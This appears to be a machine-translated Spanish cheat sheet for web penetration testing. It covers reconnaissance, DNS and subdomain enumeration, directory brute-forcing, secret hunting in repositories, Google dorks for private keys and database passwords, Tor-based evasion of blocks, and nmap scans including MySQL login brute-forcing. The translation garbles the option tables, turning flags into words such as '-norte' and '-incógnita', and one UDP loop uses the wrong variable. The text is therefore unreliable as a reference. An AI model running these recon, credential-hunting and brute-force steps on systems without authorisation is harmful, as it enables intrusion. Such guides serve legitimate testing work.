Esto es más una lista de verificación para mí. Puede contener consejos y trucos útiles.
Todo fue probado en Kali Linux V2023.1 (64 bits).
Para obtener ayuda con cualquiera de las herramientas Write <tool_name> [-h | -hh | --help] o man <tool_name> .
A veces -h se puede confundir con un host o alguna otra opción. Si ese es el caso, use -hh o --help en su lugar, o lea el manual con man .
Algunas herramientas realizan tareas similares, pero obtienen resultados ligeramente diferentes. Ejecute todo lo que pueda. ¡Muchas herramientas también se complementan entre sí!
Tenga en cuenta que cuando no se especifique el protocolo ni el número de puerto en una URL, es decir, si especifica solo somesite.com , algunas herramientas se predeterminan en el protocolo HTTP y el puerto 80.
Si aún no lo ha hecho, lea la Guía de pruebas de seguridad web de OWASP. La lista de verificación se puede descargar aquí.
Recomiendo leer los problemas de seguridad comunes en la web financieramente orientada.
Sitios web que debe usar mientras escribe el informe:
Mis otras hojas de trucos:
0. Instalar herramientas y configuración
1. Reconocimiento
2. Escaneo/enumeración
3. Asscaluación/explotación de vulnerabilidad
4. Post Explotación
5. Cracking de contraseña
6. Ingeniería social
7. Varios
La mayoría de las herramientas se pueden instalar con el Administrador de paquetes de Linux:
apt-get update && apt-get -y install sometoolPara más información, visite kali.org/tools.
Algunas herramientas de Python deben descargarse e instalarse manualmente:
python3 setup.py install
O, instalado desde el PYPI:
pip3 install sometool
python3 -m pip install sometool
Algunas herramientas de Golang deben descargarse y construir manualmente:
go build sometool.go
O, instalado directamente:
go install -v github.com/user/sometool@latest
Para más información, visite pkg.go.dev.
Para configurar Golang, ejecute:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc Si usa otra consola, es posible que deba escribir a ~/.bashrc , etc.
Algunas herramientas que están en forma de binarios o scripts de shell se pueden mover a /usr/bin/ directorio para facilitar el uso:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolAlgunas herramientas de Java deben descargarse y ejecutarse manualmente con Java (JRE):
java -jar sometool.jar
Lista de API útiles para integrar en sus herramientas:
Descargue una lista de agentes de usuarios de BOT, requiere la clave de la API de shrapeops.io:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'Descargue una lista de resueltos DNS de confianza, o manualmente de Trickest/Resolvers:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'Si Google o cualquier otro motor de búsqueda o servicio bloquea su herramienta, use ProxyChains-NG y TOR para evitar la restricción.
Instalación:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher Haga los siguientes cambios en /etc/proxychains4.conf :
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
Asegúrese de comentar cualquier tipo de cadena que no sea round_robin , por ejemplo, comente strict_chain en # strict_chain .
Inicio Tor:
service tor start
Luego, ejecute cualquier herramienta que desee:
proxychains4 sometool
Usar solo Tor probablemente no sea suficiente, deberá agregar más proxies (1) (2) a /etc/proxychains4.conf ; Sin embargo, es difícil encontrar proxies gratuitos y estables que aún no estén en la lista negra.
Descargue una lista de proxies gratuitos:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtTenga en cuenta que algunos sitios web [heredados] solo pueden ser accesibles a través de navegadores web específicos como Internet Explorer o Edge.
Tenga en cuenta que algunos sitios web pueden estar perdidos la página de índice y no puede redirigirlo a la página de inicio real. Si ese es el caso, intente adivinar manualmente una ruta completa a la página de inicio, use Wayback Machine o Gau para encontrar URL antiguas, o pruebe el directorio Fuzzing con FeroxBuster o DirBuster.
Busque en Internet rutas y archivos predeterminados / predefinidos para una aplicación web específica. Use la información recopilada en combinación con Google Dorks, Chad y HTTPX para encontrar las mismas rutas y archivos en diferentes dominios. Para aplicaciones web no tan comunes, intente encontrar y navegar por el código fuente para rutas y archivos predeterminados / predefinidos.
Puede encontrar el código fuente de la aplicación en GitHub, GitLab, SearchCode, etc.
Busque el código fuente de la aplicación para las claves API, credenciales, secretos, tokens, hosts, etc., con Trufflehog y File Rasper. No olvide verificar los viejos compromisos de Github para las teclas API antiguas pero aún activas, credenciales, secretos, fichas, etc.
Inspeccione la consola web para obtener posibles errores. Inspeccione el código fuente de la aplicación para obtener posibles comentarios.
No olvide acceder al servidor web a través de una dirección IP porque puede encontrar la página de bienvenida predeterminada del servidor o algún otro contenido.
Deducir la información:
dmitry -wines -o dmitry_results.txt somedomain.com
Desapercibido. La búsqueda en netcraft no funciona.
Deducir la información:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
Esta herramienta está cambiando los motores de búsqueda con bastante frecuencia, como tal, algunos de ellos podrían no funcionar a partir de esta lectura.
A veces, el archivo de salida puede ser predeterminado a /usr/lib/python3/dist-packages/theHarvester/ directorio.
Extraer nombres de host de los resultados:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtExtraer IP de los resultados:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtExtraer correos electrónicos de los resultados:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtExtraer correos electrónicos de los resultados:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtEncuentre metadatos e información oculta en archivos.
Probado en Windows 10 Enterprise OS (64 bits).
Requisitos mínimos:
La GUI es muy intuitiva.
Instalación:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
Establezca sus claves API en /root/.config/uncover/provider-config.yaml como sigue:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
Recopile información utilizando Shodan, Censys y más:
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtPara hacer: más dorks de shodan y censes.
Recoja subdominios usando OSINT:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtRecoja subdominios usando OSINT:
sublist3r -o sublister_results.txt -d somedomain.com
Instalación:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
Recoja subdominios usando OSINT:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
Subfinder tiene resoluciones DNS incorporadas.
Establezca sus claves API en /root/.config/subfinder/config.yaml como sigue:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
Recoja subdominios usando OSINT:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
AMASS tiene resolución DNS incorporada.
Para encontrar ASNS de IPS y CIDR de ASNS, use Whois. Los siguientes escaneos ASN y CIDR tomarán mucho tiempo para terminar. ¡Los resultados pueden no estar todos dentro de su alcance permitido por el cliente!
Recoge subdominios de ASN:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
Recoge subdominios de CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
Servidores de nombres de busca:
dig +noall +answer -t NS somedomain.com
Servidores de Exchange de Fetch:
dig +noall +answer -t MX somedomain.com
Interrogar un servidor de nombres de dominio:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Obtenga el archivo de zona de un servidor de nombres de dominio:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Búsqueda de IP inversa:
dig +noall +answer -x 192.168.8.5
[Adquisición del subdominio] Compruebe si los dominios/subdominios están muertos, buscan códigos de estado NXDOMAIN , SERVFAIL o REFUSED :
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtConsulte la herramienta de host para el siguiente paso.
Interrogar servidores de nombres de dominio:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
Por defecto, Fierce realizará un ataque de diccionario con su lista de palabras incorporada.
Interrogar servidores de nombres de dominio:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
DNSrecon puede realizar un ataque de diccionario con una lista de palabras definida por el usuario, pero asegúrese de especificar una ruta completa a la lista de palabras; De lo contrario, Dnsrecon podría no reconocerlo.
Asegúrese de especificar una ruta completa al archivo de salida; De lo contrario, el directorio de Root Directory predeterminará a /usr/share/dnsrecon/ directorio, es decir, el directorio raíz.
Extraiga los nombres de host de los resultados de transferencia estándar/de zona/bruta:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtExtraiga IP de los resultados de transferencia estándar/de zona/fuerza bruta:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[Media del subdominio] Extraiga nombres canónicos de los resultados de transferencia estándar/de zona/bruta de la zona:
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtBúsqueda de IP inversa:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
Extraer hosts virtuales de los resultados de la búsqueda de IP inversa:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtAlgunos servidores DNS no responderán a las quieries de DNS de tipo 'cualquiera', use el tipo 'A' en su lugar.
Reúna IP para los dominios/subdominios dados (solicite A ):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtCompruebe si los dominios/subdominios están vivos con httpx. Compruebe si los IP están vivos con NMAP haciendo el barrido de ping.
Recopile hosts virtuales para los IP dados (solicite registros PTR ):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [Subdominio Takeover] Recopile nombres canónicos para los dominios/subdominios de error dado (solicite registros CNAME ):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtReúna ASNS de IP:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtReúna los CIDR de ASNS:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[Subdominio Takeover] Reúna los nombres de la organización de IP:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtCompruebe si alguna IP pertenece a la organización GitHub, lea más sobre la adquisición de GitHub en este artículo H1.
Instalación:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
Obtenga la tecla API ProjectSDossCovery de Cloud.ProjectDiscovery.io y ejecute:
asnmap -auth
Reúna los cidrs de ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtRecopilar CIDRS de ID de organización:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtCompruebe si los dominios/subdominios están vivos, map hosts en vivo:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443Filtrar dominios/subdominios de los resultados de JSON:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtCompruebe si existe un directorio en un servidor web:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitReúna las URL de la máquina Wayback:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtFiltrar URL de los resultados:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtInstalación:
go install -v github.com/utkusen/urlhunter@latestReúna las URL de los servicios de acortamiento de URL:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
Bases de datos de Google Dork:
Consulte la lista de /.well-known/ archivos aquí.
Google Dorking no mostrará directorios ni archivos que se no permitan en robots.txt , para verificar dichos directorios y archivos usan httpx.
site:www.somedomain.com para limitar su alcance a un dominio/subdominio especificado. site:*.somedomain.com para limitar su alcance a todos los subdominios. site:*.somedomain.com -www para excluir el subdominio www de los resultados.
Dorks simples de Google:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
Encuentre y descargue archivos utilizando un Dork Google:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
Extraer autores (y más) de los archivos:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtEncuentre listados de directorio utilizando un Dork Google:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
Más sobre mi proyecto en Ivan-Sincek/Chad.
Descargue la última versión de GitHub y verifique cómo instalar la herramienta.
Obtenga una información del número de teléfono:
phoneinfoga scan -n +1111111111
Obtenga una información de número de teléfono que interactúe con la interfaz de usuario:
phoneinfoga serve
Navegue a http://localhost:5000 con su navegador web preferido.
Intente reconstruir un repositorio de GitHub, es decir, obtener el código fuente, basado en el historial de confirmación de un directorio público /.git
git-dumper https://somesite.com/.git git_dumper_results
Es posible que esta herramienta no pueda reconstruir todo el repositorio cada vez, pero aún podría revelar información confidencial.
Algunos comandos git adicionales para probar el directorio clonado /.git :
git status
git log
git checkout -- .
git restore .
Use Google Dorking y Chad para encontrar más objetivos.
Instalación:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installBusque claves confidenciales dentro de un solo repositorio o toda la organización en GitHub:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
Busque claves confidenciales dentro de archivos y directorios:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
Más sobre el proyecto en TruffleSecurity/Trufflehog.
Para hacer: terminar.
Más sobre el proyecto en Ivan-Sincek/File-scraper.
Instalación:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
Rastrear un sitio web:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
Ratea un sitio web, descargue y embellece los archivos de JavaScript [minificados]:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
En caso de que no obtenga resultados mientras usa el navegador sin cabeza de dramaturgo, intente actualizarlo:
pip3 install --upgrade playwright
playwright install chromium
Más sobre mi proyecto en Ivan-Sincek/Scrapy-scraper.
Raspe los archivos JavaScript usando Trufflehog y File Scraper.
No olvide que el sistema operativo GNU/Linux tiene un sistema de archivos sensible a la caja, así que asegúrese de usar las listas de palabras correctas.
Si no obtiene ningún golpe mientras los directorios de forzamiento de bruto, intente brutar force archivos especificando extensiones de archivos.
Las herramientas a continuación admiten directorio recursivo y búsqueda de archivos. Además, pueden tardar mucho en terminar dependiendo de la configuración usada y la lista de palabras.

Figura 1 - Dirbuster
Todas las listas de palabras de Dirbuster están ubicadas en /usr/share/dirbuster/wordlists/ directorio.
Directorios de fuerza bruta en un servidor web:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
Esta herramienta es más rápida que Dirbuster.
Filtrar directorios de los resultados:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| Opción | Descripción |
|---|---|
| -u | La URL de destino (requerida, a menos que [--stdin |--resume-from] se use) |
| --stdin | Leer URL (s) de Stdin |
| -Automóvil club británico | Establece el agente de usuario (predeterminado: feroxbuster / xxx) / use un agente de usuario aleatorio |
| -incógnita | Extensión (s) de archivo (s) para buscar (ex: -x php -x pdf, js) |
| -metro | Qué métodos de solicitud HTTP deben enviarse (predeterminado: obtener) |
| --datos | Solicitud del cuerpo; puede leer datos de un archivo si la entrada comienza con un @(ex: @post.bin) |
| -HOH | Especifique los encabezados HTTP que se utilizarán en cada solicitud (Ej: -h encabezado: val -h 'cosas: cosas') |
| -b | Especifique las cookies HTTP que se utilizarán en cada solicitud (Ex: -B cosas = cosas) |
| -Q | Parámetros de consulta de URL de la solicitud (ex: -q token = shuff -q secret = key) |
| -F | Agregar / a la URL de cada solicitud |
| -s | Códigos de estado para incluir (permitir la lista) (predeterminado: 200,204,301,302,307,308,401,403,405) |
| -T | Número de segundos antes de la solicitud de solicitud de un cliente (predeterminado: 7) |
| -K | Deshabilita la validación del certificado TLS para el cliente |
| -T | Número de subprocesos concurrentes (predeterminado: 50) |
| -norte | No escanee recursivamente |
| -Wor | Camino a la lista de palabras |
| -Auto-Bail | Deje de escanear automáticamente cuando se encuentren una cantidad excesiva de errores |
| -B | Solicite automáticamente extensiones de copia de seguridad probables para URL "encontradas" (predeterminadas: ~, .bak, .bak2, .old, .1) |
| -Q | Ocultar barras de progreso y banner (bueno para las ventanas de TMUX con notificaciones) |
| -O | Archivo de salida para escribir resultados a (use w/ --json para entradas JSON) |
Descargue la última versión de GitHub. Vea cómo instalar la herramienta.
Busque en un servidor web archivos confidenciales:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtDescargar:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releaseBusque en un servidor IIS para archivos y directorios:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
Identificar un sitio web:
whatweb -v somesite.com
Pruebe todos robots.txt entradas:
parsero -sb -u somesite.com
Obtenga capturas de pantalla de los sitios web:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
Para verificar las capturas de pantalla, navegue al directorio eyewitness_results/screens .
Puede encontrar rockyou.txt dentro /usr/share/wordlists/ directorio o dentro de las secciones, una colección útil de múltiples tipos de listas de palabras para evaluaciones de seguridad.
Instalar las líneas de secuencias (la colección se almacenará AT /usr/share/seclists/ DIRECTORIO):
apt-get update && apt-get install seclistsMi contribución a la contracción: danielmiessler/seclistas/árbol/maestro/fuzzing/cantidades
Otra colección popular de la lista de palabras:
Tenga en cuenta que las aplicaciones o servicios web se pueden alojar en otros puertos además de 80 (HTTP) y 443 (HTTPS), por ejemplo, se pueden alojar en el puerto 8443 (HTTPS).
Tenga en cuenta que en los puertos 80 (http) y 443 (https), un servidor web puede alojar diferentes aplicaciones o servicios web. Use NCAT o Telnet para el agarre de banner.
Tenga en cuenta que en diferentes rutas de URL un servidor web puede alojar diferentes aplicaciones o servicios web, por ejemplo, somesite.com/app_one/ y somesite.com/app_two/ .
Al escanear para vulnerabilidades o ejecutar otros escaneos intensivos, verifique periódicamente la aplicación o servicio web si se bloquea, para que pueda alertar a su cliente lo antes posible; o en caso de que haya tenido una tasa limitada por el firewall de la aplicación web (WAF) o algún otro producto de seguridad, para que pueda pausar sus escaneos porque todas sus solicitudes posteriores se bloquearán y sus resultados no se completarán.
Si una aplicación o servicio web de forma repentina deja de responder, intente acceder a la aplicación o servicio web utilizando sus datos móviles, es decir, utilizando una IP diferente. Es posible que su IP actual se bloquee temporalmente.
Envíe un mensaje de correo electrónico a una dirección inexistente en el dominio de Target, a menudo revelará información de red interna útil a través de una notificación de no entrega (NDN).
Obtenga una comunidad de Nessus gratuita, y si puede pagarlo, obtenga Burp Suite Professional o Caido.
Para obtener mejores resultados, use IP en lugar de nombres de dominio.
Ping Sweet, Map Hosts Live:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
Algunos servidores web no responderán a las solicitudes de ping (ICMP), por lo que la asignación de los hosts en vivo no será precisa.
Extraer hosts en vivo de los resultados:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtTCP Scan, todos los puertos:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
Automatizar el escaneo TCP:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneEscaneo UDP, solo puertos importantes:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
Automatizar el escaneo UDP:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| Opción | Descripción |
|---|---|
| -sn | Escaneo de ping: desactivar escaneo de puertos |
| -PN | Trate a todos los anfitriones como en línea: omita el descubrimiento de anfitriones |
| -n/-r | Nunca resuelva DNS/siempre resuelva (predeterminado: a veces) |
| -ss/st/sa | TCP SYN/Connect ()/ACK |
| -SU | Escaneo UDP |
| -páginas- | Solo escanee puertos especificados/escanee todos los puertos |
| -Ports-Top-Ports | Escanear los puertos más comunes |
| -sv | Probe Abra los puertos para determinar la información del servicio/versión |
| -O | Habilitar la detección del sistema operativo |
| -Carolina del Sur | Igual que - -script = predeterminado |
| --guion | Escaneo de script (lleva tiempo a terminar) |
| --script-args | Proporcionar argumentos a los guiones |
| --script-help | Mostrar ayuda sobre guiones |
| -on/-ox/-Og | Escaneo de salida en formato normal, xml y granable |
| -V | Aumentar el nivel de verbosidad (use -VV o más para obtener un mayor efecto) |
| --razón | Mostrar la razón por la que un puerto está en un estado particular |
| -A | Habilite la detección del sistema operativo, detección de versiones, escaneo de script y traceruteute |
Todos los scripts de NMAP están ubicados en /usr/share/nmap/scripts/ directorio. Lea más sobre los guiones aquí.
Ejemplos de NSE:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
